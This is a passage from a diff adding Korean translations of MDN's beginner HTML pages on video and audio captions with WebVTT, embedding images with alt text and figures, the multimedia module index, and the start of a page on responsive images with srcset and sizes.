You can monitor the track lists within a media element to detect when tracks are added to or removed from the element's media. For example, you can watch for the {{event("addtrack")}} event being fired on the associated {{domxref("AudioTrackList")}} object (retrieved via {{domxref("HTMLMediaElement.audioTracks")}}) to be informed when audio tracks are added to the media:

+ +
const mediaElem = document.querySelector("video");
+mediaElem.audioTracks.onaddtrack = function(event) {
+  audioTrackAdded(event.track);
+}
+
+ +

You'll find more information about this in our {{domxref("TrackEvent")}} documentation.

+ +

Displaying video text tracks

+ +

Now we'll discuss a slightly more advanced concept that is really useful to know about. Many people can't or don't want to hear the audio/video content they find on the Web, at least at certain times. For example:

+ + + +

Wouldn't it be nice to be able to provide these people with a transcript of the words being spoken in the audio/video? Well, thanks to HTML video, you can. To do so we use the WebVTT file format and the {{htmlelement("track")}} element.

+ +
+

Note: "Transcribe" means "to write down spoken words as text." The resulting text is a "transcript."

+
+ +

WebVTT is a format for writing text files containing multiple strings of text along with metadata such as the time in the video at which each text string should be displayed, and even limited styling/positioning information. These text strings are called cues, and there are several kinds of cues which are used for different purposes. The most common cues are:

+ +
+
subtitles
+
Translations of foreign material, for people who don't understand the words spoken in the audio.
+
captions
+
Synchronized transcriptions of dialog or descriptions of significant sounds, to let people who can't hear the audio understand what is going on.
+
timed descriptions
+
Text which should be spoken by the media player in order to describe important visuals to blind or otherwise visually impaired users.
+
+ +

A typical WebVTT file will look something like this:

+ +
WEBVTT
+
+1
+00:00:22.230 --> 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --> 00:00:34.074
+This is the second.
+
+  ...
+
+ +

To get this displayed along with the HTML media playback, you need to:

+ +
    +
  1. Save it as a .vtt file in a sensible place.
  2. +
  3. Link to the .vtt file with the {{htmlelement("track")}} element. <track> should be placed within <audio> or <video>, but after all <source> elements. Use the {{htmlattrxref("kind","track")}} attribute to specify whether the cues are subtitles, captions, or descriptions. Further, use {{htmlattrxref("srclang","track")}} to tell the browser what language you have written the subtitles in.
  4. +
+ +

Here's an example:

+ +
<video controls>
+    <source src="example.mp4" type="video/mp4">
+    <source src="example.webm" type="video/webm">
+    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
+</video>
+ +

This will result in a video that has subtitles displayed, kind of like this:

+ +

Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

+ +

For more details, please read Adding captions and subtitles to HTML5 video. You can find the example that goes along with this article on Github, written by Ian Devlin (see the source code too.) This example uses some JavaScript to allow users to choose between different subtitles. Note that to turn the subtitles on, you need to press the "CC" button and select an option — English, Deutsch, or Español.

+ +
+

Note: Text tracks also help you with {{glossary("SEO")}}, since search engines especially thrive on text. Text tracks even allow search engines to link directly to a spot partway through the video.

+
+ +

Active learning: Embedding your own audio and video

+ +

For this active learning, we'd (ideally) like you to go out into the world and record some of your own video and audio — most phones these days allow you to record audio and video very easily, and provided you can transfer it on to your computer, you can use it. You may have to do some conversion to end up with a WebM and MP4 in the case of video, and an MP3 and Ogg in the case of audio, but there are enough programs out there to allow you to do this without too much trouble, such as Miro Video Converter and Audacity. We'd like you to have a go!

+ +

If you are unable to source any video or audio, then you can feel free to use our sample audio and video files to carry out this exercise. You can also use our sample code for reference.

+ +

We would like you to:

+ +
    +
  1. Save your audio and video files in a new directory on your computer.
  2. +
  3. Create a new HTML file in the same directory, called index.html.
  4. +
  5. Add {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements to the page; make them display the default browser controls.
  6. +
  7. Give both of them {{HTMLElement("source")}} elements so that browsers will find the audio format they support best and load it. These should include {{htmlattrxref("type", "source")}} attributes.
  8. +
  9. Give the <video> element a poster that will be displayed before the video starts to be played. Have fun creating your own poster graphic.
  10. +
+ +

For an added bonus, you could try researching text tracks, and work out how to add some captions to your video.

+ +

Test your skills!

+ +

You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see Test your skills: Multimedia and embedding. Note that the third assessment question in this test assumes knowledge of some of the techniques covered in the next article, so you may want to read that before attempting it.

+ +

Summary

+ +

And that's a wrap; we hope you had fun playing with video and audio in web pages! In the next article, we'll look at other ways of embedding content on the Web, using technologies like {{htmlelement("iframe")}} and {{htmlelement("object")}}.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}

+ +

In this module

+ + diff --git a/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.html new file mode 100644 index 0000000000..c0ebcc07e9 --- /dev/null +++ b/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.html @@ -0,0 +1,496 @@ +--- +title: HTML의 이미지 +slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML +translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}
+ +

초창기의 웹에는 텍스트만 있었고 조금 지루했습니다. 다행히도 웹 페이지 안에 이미지 (및 보다 흥미로운 유형의 컨텐츠)를 삽입하는 기능이 추가되기까지는 오래 걸리지 않았습니다. 시작해볼 수 있는 다른 유형의 멀티미디어가 있지만 단순한 이미지를 웹 페이지에 삽입하는 데 사용되는 {{htmlelement ( "img")}} 요소로 쉽게 시작해 보겠습니다. 이 글에서는 기초내용 부터 심층적으로 사용하는 방법, {{htmlelement("figure")}}를 사용하여 캡션을 주석으로 추가하는 방법, {{htmlelement("CSS")}}배경 이미지와 관련된 사용 방법을 자세히 설명합니다.

+ + + + + + + + + + + + +
선행사항:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일작업에 대한 기본 지식, HTML 기초 지식 익숙 (HTML 시작하기에서 설명)
목표:간단한 이미지를 HTML에 삽입하고, 캡션을 사용하여 주석을 추가하는 방법과 HTML 이미지가 CSS 배경 이미지와 관련되는 방법을 배우십시오.
+ +

웹페이지에 어떻게 이미지를 넣을까?

+ +

이미지를 웹사이트에 넣기위해서 {{htmlelement("img")}} 요소를 사용합니다. 이것은 텍스트 내용이나 클로징 태그를 갖지 않는 {{glossary("비어있는 요소 (empty element)")}}이며, 적어도 src(풀네임인 source라고 불리곤 합니다)라는 속성 하나는 사용되어야합니다. src 속성은 당신이 페이지에 삽입하고자 하는 이미지를 가리키는 경로를 포함합니다. 그 경로는 {{htmlelement("a")}} 요소의 href 속성 값처럼 상대경로여도, 절대경로여도 됩니다.

+ +
+

노트: 계속하기 전에 절대경로, 상대경로에 대해 복습하기 위해  A quick primer on URLs and paths를 읽어보세요.

+
+ +

예를 들어, 당신의 이미지 파일 이름이 dinosaur.jpg 이고, 당신의 HTML 페이지와 같은 디렉토리 아래에 위치한다면 이런 식으로 이미지를 삽입할 수 있습니다:

+ +
<img src="dinosaur.jpg">
+
+ +

그 이미지가 HTML페이지와 같은 디렉토리 하의 images 라는 하위 디렉토리에 있다면 (이러한 방식은 구글이 {{glossary("SEO")}}/색인을 위해 추천합니다), 이런 식으로 삽입할 수 있습니다:

+ +
<img src="images/dinosaur.jpg">
+ +
+

노트: 검색 엔진은 이미지 파일 이름을 읽고 SEO에 포함시킵니다. 따라서 그 내용을 기술하는 파일 이름을 사용하세요. img835.png.보다는 dinosaur.jpg 가 낫습니다.

+
+ +

절대경로를 사용해서 이미지를 삽입할 수도 있습니다. 예를 들면: 

+ +
<img src="https://www.example.com/images/dinosaur.jpg">
+
+ +

그러나 이건 무의미합니다. DNS 서버로부터 IP 주소를 처음부터 다시 찾아보는 등 브라우저가 더 많은 일을 하게 만들기 때문입니다. 당신은 거의 항상 당신의 HTML과 같은 서버에 이미지를 두게 될 것입니다.

+ +
+

주의사항: 대부분의 이미지들은 저작권 적용 대상입니다. 따라서, 

+ +

1) 당신이 그 이미지에 대한 소유권을 갖고 있거나
+ 2) 당신이 그 이미지의 소유자로부터 명확한 서류상의 허가를 받았거나
+ 3) 그 이미지가 실제로 공공재라는 충분한 증거가 있는 경우

+ +

가 아니면 당신의 웹페이지에 이미지를 게시하지 마십시오. 

+ +

저작권 침해는 불법이며 비윤리적입니다. 또한 당신의 src 속성이 링크하도록 허가받지 않은 누군가의 웹사이트에 호스팅 된 이미지를 가리키지 않도록 하십시오. 이러한 행위를 "핫 링킹(hot linking)"이라고 합니다. 누군가의 대역폭을 훔쳐 쓰는 것은 불법입니다. 이것은 당신의 페이지를 느리게 만들고, 그 이미지가 삭제되거나 무언가 부끄러운 걸로 바뀌어도 당신은 그것을 통제할 권한이 없습니다.

+
+ +

위에서 쓴 우리의 코드는 이러한 결과를 보여줄 것입니다:

+ +

A basic image of a dinosaur, embedded in a browser, with "Images in HTML" written above it

+ +
+

Note: {{htmlelement("img")}} 와 {{htmlelement("video")}} 와 같은 element들을 대체 element라고 하기도 합니다. 그 이유는 element의 내용과 크기가 element 그 자체가 아니라, 외부적인 요소(이미지나 비디오)에 의해 결정되기 때문입니다.

+
+ +
+

Note: 완성된 예제들을 running on Github에서 확인하실 수 있습니다. (source code 도 참고하세요.)

+
+ +

Alternative text

+ +

다음으로 살펴볼 속성은 alt이다. 이 값은 이미지가 보여지지 않을 경우를 대비해서 이미지를 설명할 수 있는 글을 값으로 가진다. 예를 들어, 위의 코드를 다음과 같이 바꿀 수 있다:

+ +
<img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth">
+ +

alt 를 잘 작성하였는지 확인하기 위한 가장 쉬운 방법은 파일 이름을 고의로 틀리게 적는 것이다. 예를 들어 이미지 파일의 이름을 dinosooooor.jpg 로 바꾼다면 브라우저는 이미지를 보여주는 대신, alt의 내용을 보여줄 것이다:

+ +

The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place.

+ +

alt는 왜 굳이 사용되거나 필요한걸까? alt는 여러가지 이유로 유용하게 사용된다:

+ + + +

그렇다면 alt 안에 정확히 무엇을 써야될까? 그 내용은 이미지가 사용되었는지에 따라 다르다. 다른말로 해서, 이미지가 나타나지 않으면:

+ + + +

기본적으로, 이미지가 나타나지 않을 때, 사용자에게 충분할 설명을 제공하는 것이 목적이다. 이러한 방법을 통해 사용자가 이미지를 보지 않고도 내용을 충분히 전달 받을 수 있다. 이미지를 브라우저에서 끄고 어떻게 나타나는지 관찰해보자. 이미지가 나타나지 않을 때 alt의 소중함을 깨닫게 될 것이다.

+ +
+

Note: 더 자세한 정보를 얻길 원하다면 Text Alternatives를 클릭.

+
+ +

Width and height

+ +

width 와 height 속성을 통해 이미지의 크기를 조정할 수 있다. 이미지의 크기를 알아내는 몇가지 방법이 있는데 Mac은 Cmd + I 를 통해 이미지 정보를 볼 수 있다. 예제로 돌아와서, 우리는 이렇게 해볼 수 있다:

+ +
<img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"
+     width="400"
+     height="341">
+ +

평범한 경우에 위와 같은 방법은 디스플레이에 큰 차이를 주지 않는다. 그러나 만약에 이미지가 로딩중이어서 아직 페이지에 안나타나더라도 브라우저는 지정된 크기의 공간을 이미지를 위해 할당해둔다:

+ +

The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings

+ +

이미지 크기를 지정해두는 것은 좋은 습관이며 이를 통해, 페이지가 더 빠르고 순조롭게 로딩될 수 있다.

+ +

그러나 HTML 속성을 통해 이미지의 크기를 조정하는 것은 바람직하지 않다. 이미지 크기를 원본보다 크게 잡으면 원하지 않는 방향으로 나타날 수 있으며 사용자의 필요에 맞지 않는 불필요한 대역폭을 사용할 수도 있다. 또한, aspect ratio를 지키지 않으면 이미지가 왜곡되어 나타날 수도 있다. 이미지 편집기를 통해서 크기를 변경한 후에 웹페이지에 올리는 것이 바람직하다.

+ +
+

Note: 이미지 크기를 변경해야 한다면 CSS 를 사용하도록 하자.

+
+ +

Image titles

+ +

As with links, you can also add title attributes to images, to provide further supporting information if needed. In our example, we could do this:

+ +
<img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"
+     width="400"
+     height="341"
+     title="A T-Rex on display in the Manchester University Museum">
+ +

This gives us a tooltip, just like link titles:

+ +

The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum

+ +

Image titles aren't essential to include. It is often better to include such supporting information in the main article text, rather than attached to the image. However, they are useful in some circumstances; for example, in an image gallery when you have no space for captions.

+ +

Active learning: embedding an image

+ +

It is now your turn to play! This active learning section will have you up and running with a simple embedding exercise. You are provided with a basic {{htmlelement("img")}} tag; we'd like you to embed the image located at the following URL:

+ +

https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg

+ +

Earlier we said to never hotlink to images on other servers, but this is just for learning purposes, so we'll let you off this one time.

+ +

We would also like you to:

+ + + +

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see an answer:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}

+ +

Annotating images with figures and figure captions

+ +

Speaking of captions, there are a number of ways that you could add a caption to go with your image. For example, there would be nothing to stop you doing this:

+ +
<div class="figure">
+  <img src="images/dinosaur.jpg"
+       alt="The head and torso of a dinosaur skeleton;
+            it has a large head with long sharp teeth"
+       width="400"
+       height="341">
+
+  <p>A T-Rex on display in the Manchester University Museum.</p>
+</div>
+ +

This is ok. It contains the content you need, and is nicely stylable using CSS. But there is a problem here: there is nothing that semantically links the image to its caption, which can cause problems for screen readers. For example, when you have 50 images and captions, which caption goes with which image?

+ +

A better solution, is to use the HTML5 {{htmlelement("figure")}} and {{htmlelement("figcaption")}} elements. These are created for exactly this purpose: to provide a semantic container for figures, and clearly link the figure to the caption. Our above example could be rewritten like this:

+ +
<figure>
+  <img src="images/dinosaur.jpg"
+       alt="The head and torso of a dinosaur skeleton;
+            it has a large head with long sharp teeth"
+       width="400"
+       height="341">
+
+  <figcaption>A T-Rex on display in the Manchester University Museum.</figcaption>
+</figure>
+ +

The {{htmlelement("figcaption")}} element tells browsers, and assistive technology that the caption describes the other content of the {{htmlelement("figure")}} element.

+ +
+

Note: From an accessibility viewpoint, captions and {{htmlattrxref('alt','img')}} text have distinct roles. Captions benefit even people who can see the image, whereas {{htmlattrxref('alt','img')}} text provides the same functionality as an absent image. Therefore, captions and alt text shouldn't just say the same thing, because they both appear when the image is gone. Try turning images off in your browser and see how it looks.

+
+ +

A figure doesn't have to be an image. It is an independent unit of content that:

+ + + +

A figure could be several images, a code snippet, audio, video, equations, a table, or something else.

+ +

Active learning: creating a figure

+ +

In this active learning section, we'd like you to take the finished code from the previous active learning section, and turn it into a figure:

+ + + +

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see an answer:

+ + + +

{{ EmbedLiveSample('Playable_code_2', 700, 350, "", "", "hide-codepen-jsfiddle") }}

+ +

CSS background images

+ +

You can also use CSS to embed images into webpages (and JavaScript, but that's another story entirely). The CSS {{cssxref("background-image")}} property, and the other background-* properties, are used to control background image placement. For example, to place a background image on every paragraph on a page, you could do this:

+ +
p {
+  background-image: url("images/dinosaur.jpg");
+}
+ +

The resulting embedded image, is arguably easier to position and control than HTML images. So why bother with HTML images? As hinted to above, CSS background images are for decoration only. If you just want to add something pretty to your page to enhance the visuals, this is fine. Though, such images have no semantic meaning at all. They can't have any text equivalents, are invisible to screen readers, etc. This is HTML images time to shine!

+ +

Summing up: if an image has meaning, in terms of your content, you should use an HTML image. If an image is purely decoration, you should use CSS background images.

+ +
+

Note: You'll learn a lot more about CSS background images in our CSS topic.

+
+ +

That's all for now. We have covered images and captions in detail. In the next article we'll move it up a gear, looking at how to use HTML to embed video and audio in web pages.

+ +

{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}

+ +

In this module

+ + diff --git a/files/ko/learn/html/multimedia_and_embedding/index.html b/files/ko/learn/html/multimedia_and_embedding/index.html new file mode 100644 index 0000000000..33a3bf4aad --- /dev/null +++ b/files/ko/learn/html/multimedia_and_embedding/index.html @@ -0,0 +1,77 @@ +--- +title: Multimedia and embedding +slug: Learn/HTML/Multimedia_and_embedding +tags: + - Assessment + - Audio + - Beginner + - CodingScripting + - Flash + - Guide + - HTML + - Images + - Landing + - Learn + - NeedsTranslation + - SVG + - TopicStub + - Video + - iframes + - imagemaps + - responsive +translation_of: Learn/HTML/Multimedia_and_embedding +--- +

{{LearnSidebar}}

+ +

우리는 이 과정에서 지금까지 많은 텍스트를 살펴 봤지만 텍스트만을 사용한 웹은 따분합니다. 보다 흥미로운 내용으로 웹을 생생하게 만드는 방법을 살펴 보도록 합시다! 여기에서는 HTML을 사용하여 이미지를 포함 할 수있는 다양한 방법과 비디오, 오디오 및 웹 페이지 전체를 포함하는 방법을 비롯하여 웹 페이지에 멀티미디어를 포함하는 방법을 살펴 보도록 하겠습니다.

+ +

전제조건

+ +

이 단원을 시작하기 전에 앞서 HTML소개에서 설명한대로 HTML에 대한 기본 지식이 있어야합니다. 이 모듈 (또는 이와 비슷한 것)을 사용해 보지 않았다면, 처음부터 다시 시작후 돌아오세요!

+ +
+

Note:  자신만의  파일을 만들수 없는 컴퓨터/테블릿/그외 기기에서 작업하는 경우, 코드 예제를 (대부분을) JSBin 이나 Thimble같은 온라인 코딩 프로그램을 통해 수행해 볼 수 있습니다

+
+ +

가이드

+ +

이 단원에는 웹 페이지에 멀티미디어를 삽입하는 모든 기본 사항을 설명하는 다음 문서가 포함되어 있습니다.

+ +
+
HTML 이미지
+
여기에는 고려해야할 다른 종류의 멀티미디어들이 있지만, 간단한 이미지를 웹페이지에 삽입하는데 사용되는 일반적인 {{htmlelement("img")}} 엘리먼트를 사용하는것이 합리적입니다. 이번 내용에서는  {{htmlelement("figure")}} 사용하여, 기본적인 내용 및 캡션을 주석으로 추가하는 방법, CSS 배경 이미지와의 관계에 대해 자세히 다룰 것입니다.
+
비디오와 오디오 컨텐츠
+
다음으로, {{htmlelement("video")}} 와{{htmlelement("audio")}} 엘리먼트를 사용하여 페이지에 비디오 및 오디오를 포함하는 방법을 살펴 보겠습니다. 기본기능을 포함, 여러종류의 브라우저에 다양한 파일 포맷에 접근하는 법, 캡션 및 자막 추가, 구형 브라우저에 대한 폴백 (fallback) 추가 방법 등 다양한 기능을 제공합니다.
+
<object> 로부터 <iframe>까지 —  기타 임베딩 기술
+
여기서는 웹 페이지에 다양한 콘텐츠 유형을 삽입 할 수있게 해주는 몇가지 추가적인 요소를 살펴봅니다 :  {{htmlelement("iframe")}}, {{htmlelement("embed")}} 그리고 {{htmlelement("object")}} 엘리먼트입니다. <iframe>은 다른 웹 페이지를 삽입하기위한 것이고, 나머지 두 개는 PDF, SVG 및 플래시까지 포함 할 수 있습니다. — 이 기술들은 사라지는 중이지만 여전히 볼수 있을것입니다.
+
Vector graphics 웹에 추가하기
+
Vector graphics 는 특정한 상황에서 매우 유용할 수 있습니다. Vector graphics 는 PNG/JPG와 같은 일반적인 형식과 달리 확대 시 왜곡/픽셀레이트가 발생하지 않으며, 스케일링 시 매끄러운 상태를 유지할 수 있습니다. 이 글에서는 Vector graphics 가 무엇인지, 웹 페이지에 인기 있는  {{glossary("SVG")}} 포맷을 포함시키는 방법에 대해 소개합니다.
+
Responsive images(반응형 이미지)
+
+

휴대전화에서 데스크톱 컴퓨터에 이르기까지, 웹을 검색할 수 있는 매우 다양한 유형의 장치들로 인해서 형성된 현대 웹 세계를 마스터하기 위한 필수적인 개념은 반응형 디자인입니다. 이는 다양한 화면 크기, 해상도 등에 맞춰 기능을 자동으로 변경할 수 있는 웹 페이지를 만드는 것을 말합니다. 이것은 나중에 CSS 모듈에서 훨씬 더 자세히 살펴보겠지만, 현재로서는 HTML이 {{htmlelement("picture")}} 요소를 포함하여 반응형 이미지를 만드는 데 사용할 수 있는 도구를 살펴보기로 하겠습니다.

+
+
+ +

평가

+ +

아래의 평가는 위의 가이드에서 다루는 HTML 기본 사항에 대한 이해를 테스트합니다.

+ +
+
Mozilla splash page
+
+

이 평가에서, 우리는 당신이 Mozilla 에 관한 모든 펑키한 스플래시 페이지에 몇 개의 이미지와 비디오를 추가하도록 하며, 이 모듈의 기사에서 논의된 몇 가지 기술에 대하여 당신의 지식을 테스트할 것입니다!

+
+
+ +

같이 보기

+ +
+
이미지 위에 히트맵 추가
+
+

이미지 맵은 이미지 링크의 다른 부분을 다른 곳에 연결하는 메커니즘을 제공합니다(당신이 클릭하는 각 나라에 대한 추가 정보들과 연결되는 지도를 생각해 봅시다). 이 기술은 때때로 유용하게 활용될 수 있습니다.

+
+
Web literacy basics 2
+
+

An excellent Mozilla foundation course that explores and tests some of the skills talked about in the Multimedia and embedding module. Dive deeper into the basics of composing webpages, designing for accessibility, sharing resources, using online media, and working open (meaning that your content is freely available, and shareable by others).

+
+
diff --git a/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.html new file mode 100644 index 0000000000..14ecf00e1f --- /dev/null +++ b/files/ko/learn/html/multimedia_and_embedding/responsive_images/index.html @@ -0,0 +1,261 @@ +--- +title: 반응형 이미지 +slug: Learn/HTML/Multimedia_and_embedding/Responsive_images +translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}
+ +
+

이 글에서 우리는 반응형 이미지(Responsive images)의 — 해상도, 스크린 크기 등이 다른 수많은 기기들에서 정상적으로 표시되는 이미지 — 개념과 구현을 위해 HTML에서 제공하는 도구에 대해 배울 것이다. 반응형 이미지는, 이후에 여러분이 배워야 할 CSS 과정 중 반응형 웹 디자인의 일부이다.

+
+ + + + + + + + + + + + +
전제조건:HTML 기본 태그이미지를 웹페이지에 넣는 방법
학습목표:웹사이트에서 반응형 이미지를 구현하기 위해 사용하는 {{htmlattrxref("srcset", "img")}}이나 {{htmlelement("picture")}} 요소 같은 기능의 사용법을 배운다.
+ +

반응형 이미지를 사용하는 이유?

+ +

일반적인 웹 사이트를 떠올려 보라. 헤더 이미지가 있을 것이고, 헤더 이후 본문에는 이미지가 몇 개 있을 것이다. 헤더 이미지는 헤더의 전체 가로 너비를 자치할 것이고, 본문 이미지는 본문 영역 안에서 어느 정도를 차지할 것이다. 아래 사이트의 이미지 처럼 말이다.

+ +

Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center.

+ +

노트북이나 데스크톱처럼 화면이 넓은 기기에서는 잘 작동할 것이다(실제 예시는 여기에 있고, Github에서 소스코드를 볼 수 있다.) CSS에 대해 너무 깊이 들어가고 싶진 않지만, 이정도는 이야기하자.

+ + + +

그러나, 좁은 화면 기기로 사이트를 보기 시작하면 문제가 생긴다. 헤더는 괜찮아 보이지만, 모바일 기기에서는 화면 높이를 너무 많이 차지하기 시작한다. 이 사이즈에서는, 본문 첫번째 사진의 사람들이 나타나기 어렵다.

+ +

Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it.

+ +

개선책은 좁은 화면에서 사이트를 볼 때 이미지의 중요한 상세를 보여 주는 자른 이미지를 보여 주는 것이다. 또 다르게 자른 이미지를 태블릿처럼 중간 정도 너비 화면의 기기에서 보여줄 수 있을 것이다. 이를 보통 아트 디렉션 문제(art direction problem)라고 한다. [아트 디렉션은 ‘연출 방향’ 정도로 번역할 수 있을 듯한데, 보통은 용어를 그대로 사용한다. 반응형 이미지에서는 이미지의 의도가 제대로 전달되도록 기기에 따라 사진의 핵심을 확대해서 보여 주거나 하는 방식을 의미한다. - 역자 주]

+ +

게다가, 작은 모바일 화면에서는 페이지에 그렇게 큰 이미지를 포함할 필요가 없다. 이것을 해상도 전환 문제(resolution switching problem)라고 부른다. 벡터 그래픽 단원에서 배웠듯이, 래스터 이미지[비트맵 이미지 - 역자 주]는 가로 픽셀들과 세로 픽셀들의 세트로 구성된다. 작은 래스터 이미지를 실제 사이즈보다 확대해서 보면 도트가 깨져 보인다(벡터 그래픽은 그렇지 않은데 반해).

+ +

역으로, 적당한 크기보다 훨씬 작은 화면에 큰 이미지를 표시 할 필요가 없다. 그렇게 하는 것은 대역폭을 낭비하는 것이다. 특히, 모바일 사용자는 기기에 맞는 작은 이미지 대신 데스크톱에 사용되는 커다른 이미지를 다운로드하느라 대역폭을 낭비하고 싶어하지 않는다. 이상적인 상황은 다양한 해상도를 준비해 두고, 웹사이트 데이터를 받는 기기에 따라 적당한 사이즈를 제공하는 것이다.

+ +

상황을 좀더 복잡하게 하면, 어떤 기기는 고해상도 화면이 있어서, 멋지게 보이려면 더 큰 이미지가 필요하다. 이것은 근본적으로 같은 문제지만, 약간 맥락은 다르다.

+ +

아마 벡터 이미지가 이 문제를 해결할 것이라고 생각할 지도 모르겠고, 실제로 어느 정도는 그렇기도 하다 — 벡터 이미지는 파일 사이즈도 작고 확대해도 깨지지 않는다. 사용할 수 있다면 언제나 사용해야 한다. 그러나 벡터 이미지가 모든 유형에 맞는 것은 아니다. 간단한 그래픽, 패턴, 인터페이스 요소 등에 적합하지만, 사진 같은 상세한 종류의 이미지를 벡터 기반으로 만들려고 하면 복잡해지기 시작한다. JPEG 같은 래스터 이미지 포맷은 위 예제에 나온 종류의 이미지에 더 적합하다.

+ +

이런 종류의 문제는 90년대 초중반에 웹이 처음 등장했을 때는 존재하지 않았다. 당시 웹을 탐색할 수 있는 기기는 데스크톱과 노트북뿐이었기 때문에 브라우저 개발자와 명세 작성자는 해결책 구현에 대한 생각조차 하지 않았다. 브라우저에 여러 개의 이미지 파일들을 제공하는 반응형 이미지 기술은 위에서 지적한 문제를 해결하기 위해 최근에 구현됐다. 픽셀 수가 다르지만 동일한 이미지를 보여주거나(해상도 전환), 다른 공간 점유에 맞는 다른 이미지를 보여 주거나(아트 디렉션).

+ +
+

알림: 이 글에서 다루는 새로운 기능들 — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — 은 모두 출시된 최신 데스크톱과 모바일 브라우저(인터넷 익스플로러는 구현이 안 돼 있지만, 마이크로소프트 엣지를 포함해)에서 지원된다. 

+
+ +

반응형 이미지를 어떻게 만들까?

+ +

이 섹션에서는 위에서 설명한 두 가지 문제를 살펴보고 HTML 반응형 이미지 기법을 이용해 문제를 해결하는 방법을 보여 준다. 이 섹션에서는, 위 예제의 본문 영역에서 봤듯, HTML {{htmlelement("img")}}에 초점을 맞출 것이라는 점을 주목하기 바란다(헤더 이미지는 장식용이고, 따라서 CSS 배경 이미지로 구현됐다). CSS에는 분명 HTML보다 더 나은 반응형 디자인 도구가 있고, 그것은 향후 CSS 모듈에서 다룰 것이다.

+ +

해상도 전환: 다양한 사이즈

+ +

자, 해상도 전환으로 해결하려고 하는 문제는 뭘까? 우리는 기기에 따라 단지 크기만 다른, 동일한 이미지 콘텐츠를 보여 주고 싶다. 우리 예제에서 본문 두 번째 이미지가 직면한 상황이다. 표준 {{htmlelement("img")}} 요소는 전통적으로 브라우저에게 오직 하나의 소스 파일만 제시하도록 돼 있었다.

+ +
<img src="elva-fairy-800w.jpg" alt="요정 옷을 입은 엘바">
+ +

그러나 {{htmlattrxref("srcset", "img")}}과 {{htmlattrxref("sizes", "img")}}라는 두 가지 새로운 속성(attribute)을 사용해 브라우저가 올바른 것을 선택하는 데 도움이 되는 몇 가지 추가 소스 이미지와 힌트를 제공 할 수 있다. 이 예제는 Github의 responsive.html 예제 (소스 코드 참조)에서 볼 수 있다.

+ +
<img srcset="elva-fairy-320w.jpg 320w,
+             elva-fairy-480w.jpg 480w,
+             elva-fairy-800w.jpg 800w"
+     sizes="(max-width: 320px) 280px,
+            (max-width: 480px) 440px,
+            800px"
+     src="elva-fairy-800w.jpg" alt="요정 옷을 입은 엘바">
+ +

srcset과 sizes 속성은 복잡해 보이지만 위에서 보여 준 것처럼 각 행에 속성 값을 나눠 적으면 이해하기 어렵지 않다. 각 값은 쉼표로 구분한 목록으로 적고, 목록의 각 부분은 세 부분으로 구성된다. 이제 각 내용을 살펴 보자.

+ +

srcset은 브라우저에게 제시할 이미지 목록과 그 크기를 정의한다. 각 쉼표 앞에 이렇게 적는다.

+ +
    +
  1. 이미지 파일명 (elva-fairy-480w.jpg.)
  2. +
  3. 공백
  4. +
  5. 이미지 고유 픽셀 너비 (480w) — px이 아니라 w 단위를 사용한다는 데 주의하라. 이것은 이미지의 실제 사이즈인데, 컴퓨터에서 이미지를 확인하면 찾을 수 있다. (예컨대, 맥에서는 파인더에서 이미지를 선택하고 Cmd + I를 눌러 정보를 표시 할 수 있다).
  6. +
+ + + +

sizes는 미디어 조건문들을 정의하고(예를 들면, 화면 크기) 특정 미디어 조건문이 참일 때 어떤 이미지 크기가 최적인지 나타낸다(앞서 언급한 힌트). 이 경우, 각 쉼표 전에 이렇게 쓴다.

+ +
    +
  1. 미디어 조건문 ((max-width:480px)) — CSS 주제에서 이에 대해 더 많은 것을 배울 수 있을 테지만, 지금 간단히 말하면, 미디어 조건문은 가능한 화면 상태를 기술한다. 이 경우, 이렇게 말하는 것이다: “뷰포트 너비가 480픽셀 이하”.
  2. +
  3. 공백.
  4. +
  5. 미디어 조건문이 참인 경우 이미지가 채울 슬롯의 너비(440px).
  6. +
+ +
+

